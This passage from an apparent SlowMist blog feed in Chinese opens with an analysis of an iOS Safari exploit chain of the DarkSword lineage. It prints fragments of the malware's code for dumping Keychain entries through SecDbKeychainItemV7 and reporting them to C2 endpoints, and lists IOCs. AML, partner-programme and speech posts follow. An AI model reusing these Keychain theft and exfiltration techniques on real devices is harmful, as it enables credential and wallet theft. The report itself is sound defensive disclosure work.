if (inject.inject()) { ... }
三个目标分别是 SpringBoard（sync.js）、securityd（auth.js）和 kbd（input.js）；恢复出的三个任务脚本分别对应这三类插件，并由代码协调注入任务代理。代码里的 SBX0 SUCCEEDED、SBX1 SUCCEEDED 是状态分支字符串，不是我们观察到的成功日志。
关于来源要补一句。lk[.]wyincc[.]com 对 legacy 分支资源（runtime-legacy.js、polyfill.js、framework-legacy.js、common-legacy.js）返回 HTTP 403，我们从 1k[.]wyincc[.]com 这一关联载荷托管节点取得这四个文件；该节点此前已验证在共享的 vendor.js、runtime.js 上与页面实际引用的主机响应逐字节一致，但我们不声称这些 legacy 文件与取不到的 lk 响应逐字节等价。两个条件资源 powercuff_light.js、chain_status_overlay.js 在页面实际引用的主机返回 403、关联载荷托管节点返回 404 HTML，没有可分析的脚本。
DarkSword 谱系
代码里有几处独特痕迹，与一份公开记录过的工具吻合。app.js 包含注释 "If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions"，以及 MigFilterBypass 类、Chain.runPE() 后接 Sandbox.applySandboxEscape()、删除 systemgroup.com.apple.osanalytics/DiagnosticReports/ 目录和 startSandworm 工具引用。版本分路（18.4/18.5 与 18.6）和 SBX0 → SBX1 → PE 的阶段职责，也与 GTIG 公布的 DarkSword 分析一致。Apple 安全公告另行确认了相应 CVE 与修复版本。
反混淆后的 app.js 保留了几处可直接识别的痕迹：
// app.js —— migbypass 版本分路（DarkSword 独特注释）
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }
// 内嵌 MigFilterBypassThread.js 中的 Chain 内核读写封装
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }
// startSandworm 工具引用（源码中以注释形式保留）
// let baseKernel = startSandworm();
据此我们把本地阶段对应到六个 CVE：
GTIG 最初观察 DarkSword 时，CVE-2025-43529、CVE-2026-20700 与 CVE-2025-14174 属于在野 0day；截至本次 2026 年 9 月 WYINCC 活动，六个漏洞均已公开并获得 Apple 修复，因此当前投递是对 DarkSword 六漏洞链的 n-day 复用。修复版本和历史 0day 状态依据 GTIG 报告与 Apple 安全公告。
三份 C2 任务
为了弄清链路最终让注入的代理做什么，我们在单独授权下用合成 UID 和空的站点字段，向两个 SDK 端点各发起最小 requestJsCode 请求，累计每端点两次。整个过程没有发送设备注册、心跳、Keychain、键盘或应用数据。
首选端点 13[.]248[.]210[.]49:36887 两次建连都返回 54,773 字节响应；后备端点 66[.]117[.]225[.]238:36887 两次建连都返回空。响应经 AES-256-GCM 加密并封装为 SSP2 帧。我们用保存的会话密钥完成离线解密、LZFSE 解压和 SSP2/JSON/Base64 校验，恢复出三份任务脚本。三份任务都没有执行。
三份任务各对应一个被注入的进程：
SpringBoard 任务按服务端 apps_json 配置，从应用容器、共享 AppGroup 或绝对路径递归枚举文件，分块上传，附带逐文件 SHA-256 和断点续传；task_type 为 1 或 4 时，还会 Base64 解码并 eval 服务端下发的 JavaScript，把结果回传。securityd 任务打开 /private/var/Keychains/keychain-2.db，查询 genp、inet 表，并用私有类 SecDbKeychainItemV7 解密 data blob，提取 v_Data、acct、svce、agrp 后上报。kbd 任务监控前台应用；当目标钱包应用处于前台时，轮询键盘内部 ivar（_inputString、_contextBeforeInput、_contextAfterInput），在输入结束或应用切换时把缓存内容作为 reportAppPwd 上报。
Keychain 采集
securityd 任务对应插件 auth.js。app.js 取回 GET /dist/plugins/auth.js 后以 InjectJS("securityd", ...) 把代码注入 securityd，借链里建立的原生调用（dlsym、objc_msgSend）从 JavaScript 直接调用 ObjC，只读打开钥匙串库：
sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)
它只遍历 genp（通用密码）、inet（互联网密码）两表（SELECT *，按 agrp LIKE '%keyword%' 过滤，每表最多 500 行；关键词为空时退化为 1=1 遍历全部）。data 列是加密 BLOB，代码不破解 keybag，而是利用已处于 securityd 内，动态调用私有类 SecDbKeychainItemV7 的方法（initWithData:decryptionKeybag:error: 等）解密，读出秘密值 v_Data 并提取 acct、svce、agrp：
var tables = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));
task_type == 3 触发 dump（关键词来自服务端 apps_json 或 content；task_type == 4 还可对服务端脚本 eval 扩展采集），结果经 reportKeychain 走 SSP2 / AES-256-GCM / RSA 封装的 C2 通道上报：
sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });
总结
我们确认这是一套面向运行 iOS 18.4–18.6.2 的 iPhone 纯 Safari 的访问触发型多阶段利用与后利用框架，对应 DarkSword 谱系。风险落在三款钱包应用——imToken、TokenPocket 和 TronLink——上：代码具备浏览器 RCE、两层沙箱逃逸、内核读写，以及向 SpringBoard、securityd、kbd 注入代理的能力，采集对象覆盖文件、Keychain 和键盘输入。
GTIG 最初观察 DarkSword 时的三项在野 0day 到本次活动时均已公开并获得 Apple 修复，WYINCC 当前投递应定性为六漏洞链的 n-day 复用。lk[.]wyincc[.]com 页面实际引用的 loader 快照还含一个面向旧版本 iOS 与 iPod touch 的 /group.html 分支，被前置 WAF 以 HTTP 403 拦截、未取得下游，因此六个 CVE 与数据采集结论只适用于 /dist/sandbox.html 分支。
建议
在网络边界（代理、DNS、EDR/NDR）阻断 wyincc[.]com、polarnode[.]vip 域名和三个 36887 端点，检索日志中运行 iOS 18.4–18.6.2 的 iPhone UA 对 /dist/sandbox.html、/dist/chunks/、/dist/plugins/ 等路径的访问，并检索 iOS 15.2 至 17.1（包括可能的 iPod touch）UA 对 /group.html 的访问。前者属于已知完整链暴露；后者只能确认命中本次未取得的下游分支，不能直接套用六个 CVE 或钱包数据采集结论。若自有站点曾被注入该脚本，从页面与 CDN、对象存储缓存中移除脚本，核对模板、标签管理器和广告系统的引入来源，并部署 CSP/SRI 限制第三方脚本继承站点上下文。对确曾访问投递页面且运行 iOS 18.4–18.6.2 Safari 的 iPhone 设备优先取证，收集 Safari 历史、WebKit 崩溃、进程异常与 Keychain 访问记录；对命中 /group.html 的 iOS 15.2 至 17.1 iPhone 或 iPod touch 设备保留相同基础证据，但不要仅凭路径命中断言利用成功或数据被采集。对使用以下三款目标钱包的用户：imToken、TokenPocket 和 TronLink，结合设备取证结果决定是否轮换凭据、撤销会话、监控链上地址与交易；不要仅凭访问记录断言私钥或助记词已泄露。把设备升级到 Apple 已修复的版本（iOS/iPadOS 18.7.3 或 26.3 及以上），并保留原始响应、会话密钥与散列，用于后续关联分析。
IOC
域名
1k[.]wyincc[.]com
lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip
IP
13[.]248[.]210[.]49
66[.]117[.]225[.]238
166[.]117[.]225[.]238
Url
13[.]248[.]210[.]49:36887
66[.]117[.]225[.]238:36887
166[.]117[.]225[.]238:36887
https[.]//lk[.]wyincc[.]com/lk.js
https[.]//1k[.]wyincc[.]com/lk.js
恶意文件
filename: lk.js
SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337
filename: lk.js
SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
filename: sandbox.html
SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54
filename: vendor.js
SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
filename: runtime.js
SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
filename: runtime-legacy.js
SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
filename: polyfill.js
SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
filename: framework.js
SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
filename: framework-legacy.js
SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
filename: common.js
SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
filename: common-legacy.js
SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
filename: app.js
SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
filename: sync.js
SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
filename: auth.js
SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
filename: input.js
SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skillsAI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-GuardDNS 安全防护工具，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写，有任何问题欢迎咨询反馈。
参考
[1]https://socket.dev/blog/packagist-themes-ios-spyware
[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
[3]https://support.apple.com/en-bw/125885
[4]https://support.apple.com/en-me/125633
[5]https://support.apple.com/en-us/126346
[6]https://www.nodeseek.com/post-905477-1

近日，OKX CEO 针对一则“博彩平台直接将资金提到交易所，导致充值触发审核”的用户帖子作出回应。据其公开表述，从高风险地址向 OKX 充值，可能触发更严格的反洗钱(AML) 与风险审查；根据具体情况，审查可能持续 15 天甚至更久，期间部分账户功能及资金可能受到限制；对于确认涉及高风险或非法活动的账户，平台也可能终止服务。
OKX 同时提醒，通过 Telegram 群担保交易、汇旺及其变种等渠道获得的资金，可能带来较高的资金来源风险。
这次回应传递出的信号很明确：交易所关注的已经不只是“用户是谁”，还包括“这笔钱从哪里来，以及它经历过什么”。
对于交易所、支付机构、OTC 经纪商、托管机构以及其他加密资产服务商而言，风险识别正在从账户层面前移至资金进入业务体系之前。换句话说，用户完成了 KYC，并不意味着每一笔进入其账户的资金都天然可信；地址没有直接命中黑名单，也不意味着它没有风险暴露。
为什么博彩资金会引发更严格的审查？
博彩平台并不必然等同于非法资金，但博彩业务长期被反洗钱机构视为需要重点关注的风险场景。FATF 早在 2008 年就发布了面向赌场的风险为本方法指引，并明确将赌场及网络赌场纳入相关风险讨论范围。 FATF 后续对赌场和博彩行业的研究也指出，该行业存在现金密集、监管覆盖不足、VIP 及中介管理薄弱、网络博彩风险识别不足等问题。
联合国毒品和犯罪问题办公室(UNODC) 也曾指出，东亚和东南亚的赌场、博彩中介与加密货币，已经成为地下银行、洗钱和网络诈骗基础设施的重要组成部分。一种典型洗钱模式是通过博彩交易制造资金来源的“合法外观”：犯罪资金先进入博彩账户，再通过少量下注、内部转移或其他交易行为形成记录，随后以所谓博彩收益的形式提取。
对于充值的用户而言，他可能认为：
“我只是把自己的钱充到交易所。”
但对于交易所的风险控制系统而言，需要进一步判断：
毕竟，对于后续接收这些资金的交易所、支付机构和其他加密资产服务商而言，上游资金的风险可能随着资金转移进入自己的业务体系。
难点：高风险网络会迁移
OKX 此次提到“通过 Telegram 群担保交易、汇旺及其变种等渠道获得的资金，可能带来较高的资金来源风险”，说明链上风控面对的并不是一个静态名单，而是一个会持续迁移和适应的资金网络。
高风险资金网络不会因为一个名称被识别，就停止运作，他们具有很强的迁移和适应能力。一个平台或担保渠道被识别、封禁之后，相关运营者可能：
更换名称；更换 Telegram 群组或其他通信渠道；更换收付款地址；更换运营主体；将资金迁移至新的平台。
基于慢雾安全团队八年多的链上数据挖掘、威胁情报积累和安全攻防研究，MistTrack 已识别并标记数十种汇旺担保相关变种，包括土豆担保、七天担保、福利来担保、金贝担保、新币担保等。同时，MistTrack 还覆盖 BC.Game、Stake、Rollbit、BetFury、GoFun 娱乐城、優塔 UTown 等上百个博彩及体育投注平台相关的出入金地址与资金路径。
MistTrack 如何帮助机构识别资金来源风险？
过去，AML/KYT 工作往往从黑名单筛查开始：检查目标地址是否命中制裁、盗币、暗网、混币器或其他已知高风险标签。这类筛查仍然必要，但在稳定币、非托管钱包、P2P、OTC、跨链桥和 DEX 快速发展的环境下，仅依赖单一地址或直接交易关系，已经难以完整解释资金风险。
在实际风控场景中，如果只检查最后一个充值地址，可能看不到最初的风险来源；如果只追踪一跳直接交易，又可能无法识别风险资金在多个中间节点中的传播。反过来，如果不考虑金额、占比和路径衰减，只要地址曾经接触过风险资金就作出高风险判定，也容易造成误报和正常用户误伤。
因此，在实际风控过程中至少需要回答四个问题：
1. 地址本身是否存在风险？
2. 是否存在直接或间接风险暴露？
3. 风险资金是如何流入的？
4. 风险是否仍在持续？
针对高风险资金充值、P2P 转账、OTC 出入金和跨链资金流转等场景，MistTrack 提供从地址筛查、风险暴露分析到资金追踪和持续监控的一套 AML/KYT 能力。目前，MistTrack 的分析能力已覆盖 19 条主流区块链、100+ Token、18 种稳定币、积累 5 亿+ 实体地址标签、10,000+ 实体，50 万 + 威胁情报数据，25 类风险类型，为链上风险识别和资金分析提供底层支撑。
1. 风险筛查：从地址标签延伸至实体和行为
MistTrack 基于地址所属实体、历史交易行为以及慢雾威胁情报等数据，对钱包进行风险评估。目前覆盖制裁、非法资产、恐怖融资、混币服务、高风险交易所、暗网、非法服务或平台、赌博等多种风险类型。
这类分析的价值在于，不只判断地址是否“命中某个标签”，还将地址的实体归属、交易活动与威胁情报结合起来，为后续人工复核提供更完整的风险背景。
2. 直接与间接风险分析：区分真实暴露程度
对于与高风险实体存在关联的地址，MistTrack 可以进一步区分 Direct 与 Indirect 风险暴露，并结合风险跳数、关联金额及占比等因素，帮助风控团队判断风险的实际程度。
在多跳资金分析中，MistTrack 支持基于比例稀释(Pro-Rata Haircut) 的风险评估机制，根据关联资金金额和贡献比例衡量不同路径上的风险影响。按照业务策略，用户也可以选择不同的风险衰减模式，例如每增加一跳降低风险贡献，或采用不衰减模式进行更严格的分析。
这种机制的核心，不是简单扩大风险传播范围，而是让风控团队能够回答一个更有操作价值的问题：风险资金对当前地址的实际影响究竟有多大？
3. 资金路径追踪：解释风险从哪里来、到哪里去
通过交易图谱和资金路径分析，风控团队可以查看风险资金从何处进入、经过哪些地址，以及最终流向哪里。对于重点风险路径，系统可以展示关联地址、传播层级、关联金额和风险实体，并在图谱中高亮相关路径，帮助调查人员从结果追溯到证据。
这类能力尤其适用于博彩资金、疑似地下钱庄、OTC 清算、跨链转移和非托管钱包 P2P 等场景。它把“这个地址为什么被判定为高风险”转化为可以复核、解释和留痕的资金关系。
4. 持续交易监控：避免风险判断停留在某一个时间点
地址的风险并不是一次查询后永久不变。一个地址今天可能没有明显风险，之后却可能新增高风险交易关系；一个看似低风险的钱包，也可能因持续接收来自高风险网络的资金而改变风险状态。
MistTrack 支持地址监控及风险交易告警。当监控地址出现符合条件的风险交易时，可以及时提醒风控团队进一步调查和处理。对于交易所、支付机构、OTC 和托管服务商而言，这意味着风险控制可以从事后调查，前移至交易发生过程中的持续识别。
把风险识别前置，才能真正降低业务暴露
不只是“要有风险评估”，更是要让风险评估能够转化为有效的风险缓释措施。 对虚拟资产企业而言，下一阶段的竞争力不再只是是否部署了 KYT ，而是能否在真实业务中回答以下问题：
资金来自哪里？资金经过了哪些实体和地址？风险是直接关联，还是经过多跳路径间接暴露？风险资金在当前交易中的金额和比例是多少？这一风险是否仍在持续，是否需要增强型尽职调查、人工复核、限制交易或提交进一步报告？
基于八年来在链上安全与威胁情报领域的积累，MistTrack 已服务超过 500 家机构客户，包括加密货币交易平台、加密基金、DeFi 平台、跨链桥、跨境支付平台等，并曾获得香港资讯及通讯科技奖(HKICT Awards) 颁发的金融科技 FinTech (RegTech: Regulatory and Risk Management) 金奖。
如果您正在关注如何将链上风险识别能力应用于您的业务场景，欢迎联系我们获取进一步信息。
网站：https://misttrack.io/
邮箱：support@misttrack.io
表单：https://kyt.slowmist.com/cn/get-started.html

随着加密资产、稳定币支付和数字金融业务不断发展，链上 AML、KYT 和资金风险分析正在成为越来越多机构的实际需求。
为此，MistTrack & SlowMist KYT 正式启动合作伙伴计划，面向全球招募拥有 Web3、金融、支付、合规、安全及本地市场资源的个人和机构合作伙伴。
加入计划后，你可以获得：
专属客户折扣码，帮助客户以更优惠的价格订阅；订单自动归因与返佣记录，返佣有效期最长 3 年；MistTrack：可获得 10% 订阅返佣，按客户实际支付金额计算；SlowMist KYT ：可获得合同金额 20% 的合作返佣；免费试用、产品资料及技术支持，降低客户转化和技术沟通门槛；多种结算方式，根据合作规模和客户情况灵活安排。
如果你正在服务交易平台、OTC、支付机构、虚拟卡服务商、银行、基金、Web3 项目或其他数字资产相关企业，欢迎与我们一起，将成熟的链上合规与风险分析能力带给更多客户。
两条产品线，覆盖不同类型客户
MistTrack：全球领先的加密资产与追踪平台
MistTrack 是面向全球用户的加密资产合规与追踪平台，主要提供：
地址标签查询；资金风险分析与地址画像；行为特征分析；资金流向追踪与可视化；KYT&KYA API 等能力。
它主要帮助用户解决几个常见问题：
这个地址属于谁？是否存在风险？资金从哪里来，又流向哪里？
因此，MistTrack 更适合标准化推广，可面向：
个人 OTC 商家；高频出入金渠道商；中小型 OTC 门店；跨境交易商；虚拟卡服务商；其他有链上风险分析和资金追踪需求的客户。
目前，MistTrack 已服务超过 100,000 名全球用户，并获得 500 余家机构客户信赖。
对于合作伙伴而言，MistTrack 的优势在于产品标准化、客户可以直接注册和体验，整体转化路径更加清晰：
免费注册 → 7 天免费试用 → API 对接 → 付费订阅 → 长期续费
SlowMist KYT：面向机构的专业 AML 引擎
对于大型交易所、银行、基金及其他数字资产服务机构，仅查询一个地址是否存在风险通常还不够。
他们更需要将风险识别和交易监控能力真正接入业务流程。
SlowMist KYT 是面向机构合规团队和 VASP 的专业、实时、可配置 AML 引擎，提供包括：
实时交易风险识别；风险关联路径识别；风险规则配置；托管式持续监测；告警触发与工单处理；审计留痕与风险追溯。
它主要解决的是：
一笔交易是否触发风险规则？是否需要进一步调查、拦截或上报？风险事件后续如何处理和追溯？
这类客户通常需要根据自身业务规模、接入方式和合规要求进行定制，因此 SlowMist KYT 主要采用定制报价和联合销售的合作方式。
不同客户，对应不同合作模式
简单来说：
MistTrack 适合标准化、规模化推广。
SlowMist KYT 面向更复杂、更高要求的机构级项目。
合作伙伴可以根据自己的客户资源和市场情况，选择合适的产品进行推广。
客户获得优惠，代理商获得持续返佣
对于 MistTrack，合作伙伴审核通过后将获得专属折扣码。
客户在订阅 MistTrack 时，可以在平台已有优惠基础上使用合作伙伴专属折扣码，获得额外优惠。
当客户通过折扣码完成订阅后，相关订单会由系统自动记录，包括：
支付时间；订阅产品；实际支付金额；对应返佣金额。
代理商可以通过合作伙伴后台查询订单及返佣记录，无需手动逐笔统计。
根据当前合作伙伴计划：
MistTrack 将按照客户实际支付金额提供 10% 的返佣，返佣有效期为 3 年。
也就是说，只要客户持续订阅并符合返佣规则，合作伙伴可以在对应的返佣有效期内持续获得收益。
SlowMist KYT：机构级项目合作返佣
SlowMist KYT 面向机构级客户，通常涉及产品演示、需求沟通、方案配置及项目落地。
因此，它与 MistTrack 的标准化订阅模式不同，不采用统一的折扣码和在线订阅逻辑，而是由合作伙伴与 SlowMist 团队共同推进项目。
根据当前合作伙伴计划，成功合作的 SlowMist KYT 项目最高可获得合同金额 20% 的合作返佣，具体合作及结算方式以实际项目安排为准。如涉及定制化招投标项目，可另行沟通合作模式和分成比例。
合作伙伴主要负责帮助我们发现和连接有实际需求的机构客户。
后续的：
产品演示；方案沟通；技术支持；项目配置与落地；
可以由双方共同推进。
你不需要独自完成所有销售和技术工作
我们希望降低合作伙伴进入链上合规业务的门槛。因此，SlowMist 将提供相应的合作支持，包括：
免费产品体验
MistTrack 为所有新用户提供 7 天免费试用，客户可以先实际体验产品，再决定是否订阅。
API 试用支持
对于合作伙伴推荐且有技术集成需求的客户，我们可以提供 API 试用支持，帮助客户进行快速测试和技术对接。
产品与技术支持
无论是 MistTrack 的 API 接入，还是 SlowMist KYT 的机构级项目，我们都可以提供产品和技术支持。
推广与合作管理工具
合作伙伴审核通过后，可获得专属折扣码、后台管理能力及相关推广资料。
通过折扣码产生的订单和返佣，也将由系统自动记录，并实时通知给合作伙伴。
为什么是现在？
随着全球数字资产监管体系持续发展，交易平台、支付机构、稳定币相关业务方、托管机构及传统金融机构，都越来越关注链上资金的来源和风险。
与此同时，OTC、跨境交易、虚拟卡等业务场景，也开始面对更加明确的风险管理和合规需求。
对于合作伙伴而言，这意味着链上 AML、KYT 和资金追踪能力不再只是一个面向少数专业客户的产品，而正在进入更多实际业务场景。
而慢雾(SlowMist) 希望做的，是提供长期积累的产品、数据和技术能力，与真正了解当地市场和客户需求的合作伙伴一起，共同拓展这一市场。
如何加入？
第一步：申请合作
使用邮箱 + 验证码登录 MistTrack 合作伙伴系统 https://dashboard.misttrack.io/affiliate 并提交相应的申请资料。
第二步：获得合作工具
审核通过后，将获得专属折扣码、后台管理权限及产品推广资料。
第三步：推荐客户
根据客户需求推荐 MistTrack 或 SlowMist KYT，并引导客户进行免费试用、API 对接或项目沟通。
第四步：获得合作收益
MistTrack 客户通过使用合作伙伴的专属折扣码完成订阅后，订单及返佣将自动记录，合作伙伴可按需提交结算。
SlowMist KYT 等机构级项目，则根据具体合作方案共同推进并结算。
寻找全球合作伙伴
我们相信，最了解客户需求的人，往往就在当地市场。
可能是一家长期服务 Web3 客户的咨询公司；
可能是深耕 OTC、支付或虚拟卡领域的团队；
也可能是拥有交易所、银行、基金或其他机构资源的个人从业者。
如果你正在寻找新的业务增长机会，并希望为客户提供成熟的链上 AML、KYT 与资金风险分析能力，欢迎加入 MistTrack & SlowMist KYT 合作伙伴计划。
我们提供产品、数据、技术和转化支持。
你提供对客户和市场的理解。
让我们一起，把更成熟的链上安全与合规能力带给全球更多用户和机构。
合作咨询：team@misttrack.io
更多详情和最新动态：https://misttrack.io/partners.html

8 月 28 日，在 Cypher Asia Intelligent Crypto Finance Summit 上，慢雾(SlowMist) 创始人余弦发表了题为《加密世界里的灰犀牛与黑天鹅》的主题演讲。他从加密领域常见的安全问题切入，系统梳理了资金被盗、被骗、丢失及冻结等核心风险，并分享了对安全防护的思考。
以下为现场分享内容整理。
在加密世界里，资金被盗、被骗、丢失或被冻结并不少见。很多安全事件发生时，看起来像是一次突如其来的意外，但如果回过头来看，其中不少风险其实早已有迹可循。问题并不一定在于“完全不知道风险存在”，而可能是风险已经出现，却没有被足够重视，或者已有的安全措施没有真正发挥作用。
这也引出了“灰犀牛”和“黑天鹅”这两个概念。
一、“灰犀牛”与“黑天鹅”
所谓“灰犀牛”，是指发生概率高、影响巨大、早有征兆，却长期被忽视的风险；而“黑天鹅”则是指事前极难预见、发生概率极低，却会带来巨大冲击的事件。
放到安全领域，两者的区别并不难理解：黑天鹅通常难以提前预判，而灰犀牛往往已经存在一定迹象，却容易被忽视。
加密行业中并不缺少这样的例子。很多安全问题已经被反复讨论，相关攻击方式也并不新鲜，但如果风险长期存在，却始终没有落实到具体的防护措施上，那么下一次造成重大损失时，它未必真的是一次“意外”。
二、加密世界里的热门安全问题
从实际的资产安全情况来看，常见问题主要集中在四个方面：资金被盗、资金被骗、资金丢失和资金被冻结。
四种情况背后的原因并不一样。资金被盗可能与设备、应用、权限或平台安全有关；资金被骗更多发生在人与人的沟通和交易过程中；资金丢失则可能源于密钥、密码和备份管理；即便资金没有被盗或丢失，也可能因为涉案资金污染等原因被平台风控。
（一）资金被盗
1.个人资金被盗的常见原因
个人资金被盗，首先需要关注的是助记词、私钥等敏感信息的保存方式。
例如，将助记词截图保存在相册，记录在备忘录、便签、Office 文档等位置，并开启云同步，或者将相关信息上传到网盘等云端应用，都可能增加信息暴露的风险。剪切板中曾经出现过助记词或私钥，同样需要注意。
设备和应用也是常见的风险入口。在 Mac 电脑上安装来源不明的假冒应用，例如假冒的会议软件、TradingView 等，可能给攻击者留下可利用的空间。个人信息泄露后，攻击者还可能利用 AI 伪造音频、视频，再通过社会工程手段接管目标用户账号。
链上操作中的钓鱼和权限问题也不容忽视。用户可能在钓鱼网站上签署恶意授权，也可能遇到多签、Owner 被修改等情况。下载到假钱包、买到假的硬件钱包，同样可能直接造成资金损失。
风险还可能来自用户认为“正常”的应用。某些正常应用，包括钱包，如果遭遇供应链投毒，也可能导致个人资金被盗。用户所在的平台同样可能成为风险来源，例如 DeFi、CEX 等平台遭到攻击或跑路，都会影响用户资产。
此外，一些钱包由于助记词随机数不足，可能导致攻击者通过碰撞获取资金。
从这些情况可以看到，个人资产安全涉及的范围远不止私钥本身。助记词怎么保存、设备从哪里下载应用、链上授权是否经过确认、钱包和平台是否可信，这些环节都需要纳入日常的安全考虑。
2.机构资金被盗的常见原因
机构面临的情况更为复杂。除了个人资金被盗的常见原因外，随着资金规模、业务流程和参与人员增加，还需要处理机构内部的资金链路、业务链路，以及人与资源、权限之间的关系。
如果这些关系没有理顺，单点风险就可能被放大。多签也并不意味着绝对安全，如果参与人员、权限分配和执行流程没有形成有效制衡，多签就可能只是增加了一个流程，实际作用却十分有限。
另外，关键人员是否了解行业已经发生过的安全事件，也会直接影响机构的安全能力。如果只知道“发生过攻击”，却不了解攻击为什么能够发生、问题出在哪里、最后是如何解决的，就很难把过去的事件转化成实际的安全经验。
这里有一个很直接的问题：
如果其中一位作恶怎么办？如果其中两位联合作恶怎么办？
这个问题指向的并不是对某个具体人员的假设，而是机构需要重新审视自己的权限设计。正常情况下流程能够运行，并不代表异常情况下系统仍然安全。真正需要验证的是，当某个权限被滥用，或者多个角色同时出现异常时，现有的机制还能不能发挥作用。
（二）资金被骗
资金被骗与资金被盗有所不同。很多时候，攻击者并不需要直接攻破钱包或交易系统，而是通过沟通、信任和信息差，让用户自己完成转账或其他操作。
Telegram、WhatsApp、微信等聊天工具都可能成为被做局的场景。杀猪盘、线下做局同样如此，一些攻击还会利用“机构邮箱”制造可信度，把风险隐藏在正常的业务沟通中。
链上还有一种比较典型的方式是首尾号相似地址投毒。攻击者生成与目标地址首尾字符相似的地址，用户如果没有仔细核对完整地址，就可能误将资金转入攻击者控制的地址。
这些骗局的共同点，是利用信任和疏忽，让用户自己完成原本不应该完成的操作。
（三）资金丢失
数字资产的损失并不全部来自黑客攻击。
在实际资产管理过程中，密钥、密码和备份出现问题，同样可能导致资金无法正常使用。例如，硬件钱包忘记 PIN 码，助记词或私钥顺序错误、记错单词或字符，手机或电脑忘记密码，压缩包忘记密码，磁盘加密，以及备份损坏或丢失等，都可能造成资产访问问题。
这类情况的特殊之处在于，风险并不一定来自外部攻击者，而可能源于资产持有者自身的管理方式。如果关键凭证和备份无法恢复，资产也可能因此失去访问能力。因此，资产安全不仅是防范外部攻击，也包括对自身资产访问方式、密钥和备份进行妥善管理。
（四）资金被冻结
还有一些情况下，资金没有被盗，也没有因为密钥问题丢失，但仍然无法正常使用。
例如，USDT 因为涉案黑 U 污染而被冻结；钱包地址被涉案资金污染后，将资产转移到中心化平台时也可能触发风控。
所以，资产安全除了关注资金是否被转走，也需要关注资金本身的风险状态。对于链上资产来说，一笔资金的来源和流转记录，都可能影响它后续能否正常使用。
三、更应该重视“灰犀牛”
把前面的这些问题放在一起看，会发现其中很多并不陌生。
助记词保存不当、来源不明的应用、钓鱼和权限风险、供应链投毒，机构内部的单点风险和多签问题，以及涉案资金污染，这些风险都已经在实际场景中出现过。它们并非完全没有迹象，只是有时因为问题没有发生在自己身上，或者现有的防护机制长期没有出问题，就容易被忽略。
“许多自以为的黑天鹅事件，实际上是早已存在却被忽视的灰犀牛。”
因此，真正需要关注的，不只是风险有没有发生过，还要看已经知道的问题有没有被解决。知道风险存在只是开始，还需要弄清楚风险是怎么产生的、现有措施能不能挡住，以及当情况发生变化时，原来的安全机制是否还有效。
四、零信任与持续验证
在这样的安全环境下，一个重要的思路是零信任：默认怀疑一切，从人到代码，这是一个系统工程。 对于机构而言，不能仅仅因为某个人是内部人员、某个应用一直正常运行、某段代码经过审查，就默认它不会出现问题。人员、权限、设备、应用、代码和业务流程，都需要放在安全体系中持续审视。
尤其是涉及资金的业务，权限边界需要足够清晰：谁能够接触资金，谁能够执行关键操作，谁能够修改权限，以及当某个角色出现异常时，其他环节能否及时发现并进行限制。这也是“如果其中一位作恶怎么办？如果其中两位联合作恶怎么办？”这个问题真正指向的地方。安全机制不能只考虑正常状态下能否完成业务，还需要考虑异常情况下，系统是否仍然能够保持可控。
但安全并不是完成一次审计、一次检查或者一次安全加固之后就可以一劳永逸。业务会变化，代码会更新，人员会调整，权限会发生变化，攻击手段也在不断演进。原本没有问题的环节，在环境发生变化之后，也可能出现新的风险。因此，安全需要持续验证，及时检查密钥、设备、应用、资产操作，以及机构的资金链路、业务链路和人员权限等环节是否发生变化，并根据新的风险不断调整安全措施。
在这个过程中，也需要善于使用 AI 和行业成熟工具。无论是个人还是机构，都可以借助专业工具持续检查和验证自身的安全状态，将风险识别、监测和分析落实到日常安全工作中。围绕威胁发现、风险识别、链上分析和资金追踪等不同场景，慢雾也形成了相应的产品与服务体系。
